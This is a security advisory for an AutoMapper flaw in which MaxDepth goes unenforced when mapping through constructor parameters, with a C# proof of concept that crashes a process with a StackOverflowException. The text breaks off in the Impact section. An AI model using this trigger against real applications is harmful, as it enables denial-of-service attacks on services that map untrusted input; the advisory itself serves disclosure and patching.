CVE-2026-128082

### Summary `MaxDepth`, whether set explicitly or applied by default (64) to self-referential type maps, was not enforced when the recursion goes through constructor parameters. Mapping a deeply nested source to a destination built through its constructor, such as a positional `record`, recurses without bound and throws a `StackOverflowException`. That exception can't be caught and terminates the process. This bypasses the mitigation for CVE-2026-32933. ### Details The type depth used by `MaxDepth` was incremented only after the destination object was created. Constructor parameters, including child objects of the same type, are mapped while the destination is created, so each level recursed before its parent was counted, and the depth check never tripped. Affected: - destination types mapped through constructor parameters, including positional records - both an explicit `MaxDepth(n)` and the default limit of 64 - `ConstructUsing` that maps recursively through `context.Mapper` With `MaxDepth(10)`, a 100-level chain was mapped to all 100 levels. On a 1 MB stack (the Windows default), the process crashed at between 1,000 and 2,000 levels. ### PoC The type only has a constructor with positional arguments, and `MaxDepth` is set to 10: ```csharp using AutoMapper; // Setup configuration - with MaxDepth set var mapper = new MapperConfiguration(cfg => { cfg.CreateMap<CircularClass, CircularClass>().MaxDepth(10); }) .CreateMapper(); // Create a deeply nested object (28,000+ levels) var root = new CircularClass(null); var current = root; for (int i = 0; i < 30000; i++) { current.Next = new CircularClass(null); current = current.Next; } // STACK OVERFLOW even though the max depth is set var mappedRoot = mapper.Map<CircularClass>(root); public class CircularClass { public CircularClass(CircularClass? Next) { this.Next = Next; } public CircularClass? Next { get; set; } } ``` ### Impact Any application that maps att